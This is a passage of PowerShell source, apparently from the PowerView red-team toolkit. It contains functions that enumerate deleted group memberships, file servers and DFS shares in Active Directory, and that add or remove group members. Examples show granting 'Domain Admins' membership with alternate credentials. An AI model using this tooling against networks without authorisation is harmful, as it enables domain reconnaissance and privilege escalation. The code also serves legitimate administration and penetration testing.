+ +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMemberDeleted | Group-Object GroupDN + +Count Name Group +----- ---- ----- + 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... + 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... + +.EXAMPLE + +Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local + + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 2017-06-13T23:07:43Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 2017-06-13T22:20:02Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 5 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.DomainGroupMemberDeleted + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.DomainGroupMemberDeleted')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + 'LDAPFilter' = '(objectCategory=group)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN + $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') + $Output + } + } + else { + Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Add-DomainGroupMember { +<# +.SYNOPSIS + +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. + +.PARAMETER Members + +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' + +Adds harmj0y to 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Add($Member) + $Group.Save() + } + } + } +} + + +function Remove-DomainGroupMember { +<# +.SYNOPSIS + +Removes a domain user (or group) from an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and removed +from the group. + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to remove members from. + +.PARAMETER Members + +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' + +Removes harmj0y from 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Remove($Member) + $Group.Save() + } + } + } +} + + +function Get-DomainFileServer { +<# +.SYNOPSIS + +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainFileServer + +Returns active file servers for the current domain. + +.EXAMPLE + +Get-DomainFileServer -Domain testing.local + +Returns active file servers for the 'testing.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +.OUTPUTS + +String + +One or more strings representing file server names. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + function Split-Path { + # short internal helper to split UNC server paths + Param([String]$Path) + + if ($Path -and ($Path.split('\\').Count -ge 3)) { + $Temp = $Path.split('\\')[2] + if ($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + $SearcherArguments = @{ + 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' + 'Properties' = 'homedirectory,scriptpath,profilepath' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } + else { + $UserSearcher = Get-DomainSearcher @SearcherArguments + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } +} + + +function Get-DomainDFSShare { +<# +.SYNOPSIS + +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domains. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +.PARAMETER Domain + +Specifies the domains to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDFSShare + +Returns all distributed file system shares for the current domain. + +.EXAMPLE + +Get-DomainDFSShare -Domain testlab.local + +Returns all distributed file system shares for the 'testlab.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'V1', '1', 'V2', '2')] + [String] + $Version = 'All' + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + function Parse-Pkt { + [CmdletBinding()] + Param( + [Byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $Null + $blob_name = $Null + $target_list = $Null + } + + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split('\')[2] + } + } + } + + $servers + } + + function Get-DomainDFSShareV1 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=fTDfs))' + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = 